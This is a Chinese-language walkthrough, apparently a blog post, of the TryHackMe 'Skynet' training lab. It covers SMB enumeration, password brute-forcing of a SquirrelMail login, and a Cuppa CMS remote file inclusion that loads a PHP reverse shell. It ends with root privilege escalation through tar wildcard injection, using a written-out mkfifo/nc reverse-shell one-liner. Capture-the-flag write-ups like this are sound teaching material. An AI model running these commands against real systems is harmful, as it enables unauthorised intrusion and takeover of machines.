TryHackMe-Skynet-Writeup

Skynet

这个靶场主要是 samba 枚举,目录爆破,以及密码爆破,发现 CMS 存在远程文件包含漏洞,最后通过通配符实现的权限提升


首先使用 nmap 对于目标进行扫描,看看都开了什么端口

然后又想着使用这个命令来扫描端口服务版本,以及目标使用的操作系统

sudo nmap -sV -O -v 10.10.195.206

在这里看到 445 端口的 samba 服务,那我们就可以 nmap 来枚举 SMB 共享的计算机

这里发现了 4 个共享,同时也可以使用 smbmap这个工具来枚举 smb 共享,我们发现只有 anonymous 是可以匿名进行访问的,那么我们可以继续使用 smbmap来枚举 anonymous 下的文件

然后我们可以看到 anonymous 共享下存在一个 attention 的 txt 文件以及几个 log 文件,那么我们可以将它们下载下来看看有没有啥有用处的信息

使用 smbclient //10.10.195.206/anonymous来连接,help可以查看能够使用什么命令,使用 get命令对于文件进行下载

下载之后发现这四个文件,log2 和 log3 是空文件,log1 中像是一堆密码,attention 是一个提示消息,不过我们至少拿到可以一个类似字典的文件

然后我们重新关注 80 端口

使用 dirsearch或者 gobuster目录爆破工具看看目标网页下都有哪些路由

这里使用了 dirsearch 进行扫描,发现了 js,css,admin,server-status,但是访问都会提示没有权限,只有 squirrelmail 页面会跳转到一个登录页面,那么我们就可以使用之前拿到的密码进行爆破了

我们先使用 burpsuite 抓一个登录的数据包

用户名自然就是之前 smb 枚举时找到的 milesdyson 作为用户名

这里可以看到直接就爆破出密码了,同时也拿到了第一问的答案


然后我们登录之后发现了三个邮件,第一个中存在内容,里面是 milesdyson 用户的 smb 密码

那么此时我们就可以使用登录到 milesdyson 的共享目录下查看文件了

这里使用 smbclient //10.10.195.206/milesdyson -U milesdyson指定是用户 milesdyson 来登录,然后输出密码,我们发现里面是一些 pdf 文件,以及在 notes 目录中找到一个 important.txt文本文件,我们 get 下来看看内容

可以看到里面是一个备忘录,第一条就提到了自己新添加了一个目录


访问之后发现就是一个静态页面也没什么有用处的信息,所以我们继续使用 dirsearch对于目录进行爆破,

找到一个 administrator 的登录页面

然后题目提示说一个包含远程文件的漏洞,remote file inclusion,就去 exploit-db网站搜索了 cuppa,看看有没有什么漏洞信息,找到一个正好就是远程文件包含漏洞的利用

Cuppa CMS - ‘/alertConfigField.php’ Local/Remote File Inclusion

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?

http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

然后就是利用 php 反弹 shell,我们可以去 /user/share/webshells/php/php-reverse-shell.php复制一份,然后把里面的端口和 IP 改一下,之后在当前目录使用 python -m http.server 8989开启一个文件服务器

然后在本地用你在 php-reverse-shell.php中写的端口,去监听,使用 nc -lnvp [port]

再到 cms 的登录页面,直接在那个目录后面加上 /cuppa/alerts/alertConfigField.php?urlConfig=http://[IP]:8989/php-reverse-shell.php,就可以拿到 shell 了

这样就可以拿到用户的 Flag 了,可以使用 python -c 'import pty; pty.spawn("/bin/bash")'这个命令来加强反弹 shell 的交互性


最后就是权限提升

先使用 PEASS-ng 这个权限提升的辅助工具,这次因为目标是 linux 系统,所以我们使用 linpeas.sh

https://github.com/peass-ng/PEASS-ng/releases/tag/20250424-d80957fb

使用 python -m http.server [PORT]开启一个文件服务器,来方便目标机器下载这个文件,然后 chomd +x linpeas.sh来给这个文件添加执行权限,可以下载到 /tmp这个目录去

然后 ./linpeas.sh运行,就会输出很多系统的信息

可以看到在定时任务中有这样一个在 milesdyson 目录下的文件,是 root 权限

我们直接 cat 一下这个文件看看是干什么

发现是移动到/var/www/html 目录下对于所有的文件进行压缩,这里我们将会利用通配符进行权限提升,具体的原理可以看这篇文章

利用通配符进行权限提升

简单来说就是一个目录存在很多文件,但是命令又会存在参数,如果文件名字和参数是一样的那么命令就会把文件当作参数来运行

单开一个端口来进行监听

nc -lnvp 8888

注意这里的命令在 /var/www/html中执行,因为定时任务中的 tar 指令也是在这个目录执行的,这样写文件才可以利用成功

#第一行的IP和端口号自己修改
echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
#这个就是文件名是--checkpoint-action=exec=sh shell.sh,
#但是放到命令中就是参数checkpoint-action=exec=sh了,而不是把它单纯看成文件了
echo "" > --checkpoint=1

最后拿到 shell 就是管理员权限的了,到 /root 目录下就可以找到根 Flag 了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值